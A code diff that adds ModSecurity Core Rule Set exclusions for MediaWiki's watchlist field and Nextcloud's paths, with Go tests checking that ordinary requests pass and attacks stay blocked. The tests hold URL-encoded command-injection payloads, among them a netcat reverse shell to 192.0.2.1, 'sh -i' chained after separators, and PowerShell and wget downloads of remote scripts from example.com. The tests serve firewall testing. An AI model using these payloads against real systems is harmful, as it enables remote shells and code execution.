ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||
ctl:ruleRemoveTargetById=932180;FILES"
|
||||
|
||||
# The search box's suggestions and the search through the REST API:
|
||||
@@ -175,3 +177,36 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
||||
|
||||
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
|
||||
# line. Watchlists holding "Lighthouse notes" and then one of these titles
|
||||
# were refused:
|
||||
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
|
||||
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
|
||||
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
|
||||
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
|
||||
# refused. A watchlist that mixes a title holding one of these with a title
|
||||
# starting with a command name is refused too.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
"id:900915,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||
SecRule &ARGS_GET:wpTitles "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
|
||||
|
||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||
# once, since it would otherwise skip these rules for a second wpTitles
|
||||
# holding a command.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
"id:900916,phase:2,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||
@@ -49,8 +49,8 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
}
|
||||
|
||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||
// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -85,6 +85,10 @@ var mediawikiQueryFields = []string{
|
||||
"/api.php?action=query&list=allpages&apto=",
|
||||
"/api.php?action=query&list=allpages&apprefix=",
|
||||
"/api.php?action=query&generator=allpages&gapfrom=",
|
||||
"/api.php?action=query&generator=allpages&gapto=",
|
||||
"/api.php?action=query&generator=allpages&gapprefix=",
|
||||
"/api.php?action=query&generator=allimages&gaifrom=",
|
||||
"/api.php?action=query&generator=allimages&gaiprefix=",
|
||||
"/api.php?action=query&list=allimages&aifrom=",
|
||||
"/api.php?action=query&list=allimages&aiprefix=",
|
||||
"/api.php?action=query&list=allusers&aufrom=",
|
||||
@@ -92,6 +96,8 @@ var mediawikiQueryFields = []string{
|
||||
"/api.php?action=query&list=backlinks&bltitle=",
|
||||
"/api.php?action=query&generator=backlinks&gbltitle=",
|
||||
"/api.php?action=query&list=exturlusage&euquery=",
|
||||
"/api.php?action=query&generator=exturlusage&geuquery=",
|
||||
"/api.php?action=query&list=logevents&letitle=",
|
||||
"/api.php?action=query&list=usercontribs&ucuser=",
|
||||
"/api.php?action=query&list=blocks&bkusers=",
|
||||
"/w/api.php?action=opensearch&search=",
|
||||
@@ -130,8 +136,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
type mediawikiBodyField struct{ target, field string }
|
||||
|
||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||
// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -174,6 +180,14 @@ var mediawikiReasonFields = []mediawikiBodyField{
|
||||
{mediawikiProtect, "mwProtect-reason="},
|
||||
}
|
||||
|
||||
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
|
||||
// list of titles in, one per line.
|
||||
//
|
||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||
var mediawikiWatchlist = mediawikiBodyField{
|
||||
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
|
||||
}
|
||||
|
||||
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -190,7 +204,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
crs := readingBodies(t)
|
||||
|
||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||
mediawikiReasonFields)
|
||||
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
|
||||
|
||||
for _, attack := range mediawikiAttacks {
|
||||
for _, sent := range fields {
|
||||
@@ -255,6 +269,34 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||
// it once.
|
||||
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
|
||||
for _, attack := range []string{
|
||||
mediawikiCommandAttack,
|
||||
"Example%0D%0A" + mediawikiCommandAttack,
|
||||
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
|
||||
"Example%0D%0A%24%28id%29",
|
||||
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
||||
"%3B%20sh%20-i",
|
||||
"%26%26%20sh%20-i",
|
||||
"%7C%7C%20sh%20-i",
|
||||
"%60sh%20-i%60",
|
||||
"%3B%20ls%20-la%20%2F",
|
||||
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
|
||||
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
|
||||
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
|
||||
} {
|
||||
body := mediawikiWatchlist.field + attack
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
@@ -291,6 +333,14 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// A watchlist holds the title on its second line, as recorded.
|
||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -355,6 +405,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
{mediawikiEdit, "wpSummary=python3"},
|
||||
{mediawikiSignIn, "wpPassword=python3"},
|
||||
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
||||
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
# The twelfth change: on Nextcloud's paths, some fields skip the rules that
|
||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||
# sends a search, a name, a file name, a folder, a comment or a document's text.
|
||||
# Each exclusion runs with the request, before the rules it switches off, so
|
||||
# this file is loaded before the Core Rule Set's rules. Each comment names a
|
||||
# request a rule refused. An exclusion on a field of a JSON body applies only
|
||||
# when the query has no parameter of that name, so it matters only while
|
||||
# SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site root and
|
||||
# under /index.php/, where a Nextcloud without pretty URLs serves them.
|
||||
#
|
||||
# Four rules read a search or a name as a command or a system file:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
# Each exclusion below removes these four from its fields. Two more rules
|
||||
# misfire on a comment or a document's text that runs a command after a ";",
|
||||
# such as "Run python3 or powershell; ls -la shows .htaccess":
|
||||
# 932125: ; ls
|
||||
# 932230: ; ls -la
|
||||
# Those fields skip them too. Rule 932235 stays, so that
|
||||
# "; wget http://example.com/x.sh" is still refused there. It refuses
|
||||
# "Run powershell; python3 next" too.
|
||||
|
||||
# The sync client and the Files app use these WebDAV methods besides those
|
||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
||||
# MKCOL: making a folder, and starting a chunked upload
|
||||
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
||||
# REPORT: listing favourites and comments
|
||||
# SEARCH: the Files app's search
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||
"id:900100,phase:1,pass,nolog,\
|
||||
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH'"
|
||||
|
||||
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
||||
# which every request sends, on every path. Each request of the account
|
||||
# python3 was refused.
|
||||
SecAction "id:900101,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
||||
|
||||
# Signing in, in the query or the body:
|
||||
# user, password: user=python3&password=Example-pass-python3
|
||||
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
"id:900102,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||
|
||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||
"id:900103,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
||||
|
||||
# The file names on a public share's page:
|
||||
# file: /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
||||
# path, files: /s/<token>/download?path=/&files=powershell%20profile.ps1
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:apps/files_sharing/publicpreview/|s/[^/]+/download$)" \
|
||||
"id:900104,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:file|path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:file|path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:file|path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:file|path|files)$/"
|
||||
|
||||
# The OCS API's searches and names, in the query, a form data body or a JSON
|
||||
# body:
|
||||
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
||||
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
||||
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
||||
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
||||
# account python3, displayName=Ls+-la+Example
|
||||
# groups[], or groups in JSON: the groups of a new account,
|
||||
# groups[]=Python3+admins
|
||||
# value: changing an account's name, address or headline, value=Powershell+Lane
|
||||
# path, label, note, shareWith: sharing the folder "/ls -la output" with the
|
||||
# label "python3 link" and the note "Read the .htaccess notes"
|
||||
# message: the status "Writing python3 and powershell"
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
||||
"id:900105,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
||||
"id:900106,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/"
|
||||
|
||||
# The name and slogan in the theming admin settings, in the JSON field value:
|
||||
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
||||
"id:900107,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.value "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
||||
|
||||
# The Text editor saves a document, such as a folder's Readme.md, with its
|
||||
# path in the JSON field filePath and its text in autosaveContent. The text
|
||||
# skips the two rules for a command after a ";" too.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
||||
"id:900108,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent"
|
||||
|
||||
# A comment on a file, in the JSON field message of a new comment, and in the
|
||||
# XML body of an edited one. It skips the two rules for a command after a ";"
|
||||
# too. An edited comment's XML holds nothing else a person writes.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
||||
"id:900109,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.message "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.message"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
||||
"id:900110,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||
|
||||
# The Files app's search sends its words in the XML body of a SEARCH request,
|
||||
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
||||
"id:900111,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_METHOD "@streq SEARCH" \
|
||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||
|
||||
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
||||
"id:900112,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.name "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||
@@ -0,0 +1,368 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"html"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudShare is a public share's page.
|
||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||
|
||||
// nextcloudUsers is the OCS API's list of accounts.
|
||||
const nextcloudUsers = "/ocs/v2.php/cloud/users"
|
||||
|
||||
// nextcloudShares is the OCS API's list of shares.
|
||||
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
|
||||
|
||||
// nextcloudFiles is the WebDAV folder of the account admin.
|
||||
const nextcloudFiles = "/remote.php/dav/files/admin/"
|
||||
|
||||
// nextcloudSave is where the text editor saves a document.
|
||||
const nextcloudSave = "/apps/text/session/1/save"
|
||||
|
||||
// The WebDAV methods the Files app's search and a comment's edit use, and
|
||||
// the method the sync client lists a folder with.
|
||||
const (
|
||||
nextcloudSearch = "SEARCH"
|
||||
nextcloudPropPatch = "PROPPATCH"
|
||||
nextcloudPropFind = "PROPFIND"
|
||||
)
|
||||
|
||||
// nextcloudOther is a JSON field no exclusion names.
|
||||
const nextcloudOther = `{"other":"python3"}`
|
||||
|
||||
// nextcloudCommandAttack is a shell command after a ";", as a query value.
|
||||
const nextcloudCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||
// and 932260, each on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudQueryFields = []string{
|
||||
"/login?user=",
|
||||
"/login?redirect_url=",
|
||||
"/index.php/login?user=",
|
||||
"/apps/files/?dir=",
|
||||
"/apps/files/files/134?dir=",
|
||||
"/index.php/apps/files/?dir=",
|
||||
"/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO?file=",
|
||||
nextcloudShare + "/download?path=",
|
||||
nextcloudShare + "/download?path=%2F&files=",
|
||||
nextcloudUsers + "?search=",
|
||||
nextcloudUsers + "/details?search=",
|
||||
"/ocs/v2.php/cloud/groups?search=",
|
||||
"/ocs/v1.php/cloud/groups/details?search=",
|
||||
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
|
||||
nextcloudShares + "?path=",
|
||||
"/ocs/v2.php/search/providers/files/search?term=",
|
||||
"/ocs/v2.php/search/providers/files/search?term=x&from=",
|
||||
}
|
||||
|
||||
// nextcloudFormFields are the form data fields that skip the four rules, each
|
||||
// on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudFormFields = []struct{ target, field string }{
|
||||
{"/login", "user="},
|
||||
{"/login", "password="},
|
||||
{nextcloudUsers, "userid="},
|
||||
{nextcloudUsers, "displayName="},
|
||||
{nextcloudUsers, "groups%5B%5D="},
|
||||
{nextcloudUsers + "/admin", "value="},
|
||||
{"/ocs/v2.php/cloud/groups", "groupid="},
|
||||
{nextcloudShares, "path="},
|
||||
{nextcloudShares, "label="},
|
||||
{nextcloudShares, "shareWith="},
|
||||
{"/ocs/v1.php/apps/files_sharing/api/v1/shares/1", "note="},
|
||||
}
|
||||
|
||||
// nextcloudBody is a JSON or XML body, sent with its method to a path. It
|
||||
// holds %s, where a value goes.
|
||||
type nextcloudBody struct{ method, target, contentType, body string }
|
||||
|
||||
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
|
||||
// on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudBodies = []nextcloudBody{
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
|
||||
{
|
||||
http.MethodPut, nextcloudUsers + "/admin",
|
||||
jsonBody, `{"key":"headline","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
||||
{
|
||||
http.MethodPut, "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom",
|
||||
jsonBody, `{"message":"%s"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
||||
{
|
||||
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||
},
|
||||
}
|
||||
|
||||
// nextcloudTexts are the fields that hold what a person writes, which skip
|
||||
// 932125 and 932230 too.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudTexts = []nextcloudBody{
|
||||
{http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`},
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
||||
{
|
||||
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
||||
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
|
||||
`</d:propertyupdate>`,
|
||||
},
|
||||
}
|
||||
|
||||
// nextcloudScores returns the score that the Core Rule Set, reading bodies,
|
||||
// gives each request that sends value, a query value, in one of the fields
|
||||
// above, keyed by the request. The texts hold text in its place.
|
||||
func nextcloudScores(t *testing.T, value, text string) map[string]int {
|
||||
t.Helper()
|
||||
|
||||
crs := readingBodies(t)
|
||||
scores := map[string]int{}
|
||||
|
||||
for _, target := range nextcloudQueryFields {
|
||||
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudFormFields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
scores["POST "+sent.target+" "+sent.field+value] = got.Score
|
||||
}
|
||||
|
||||
send := func(sent nextcloudBody, value string) {
|
||||
written, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if sent.contentType == xmlBody {
|
||||
written = html.EscapeString(written)
|
||||
}
|
||||
|
||||
body := strings.Replace(sent.body, "%s", written, 1)
|
||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
scores[sent.method+" "+sent.target+" "+body] = got.Score
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudBodies {
|
||||
send(sent, value)
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudTexts {
|
||||
send(sent, text)
|
||||
}
|
||||
|
||||
return scores
|
||||
}
|
||||
|
||||
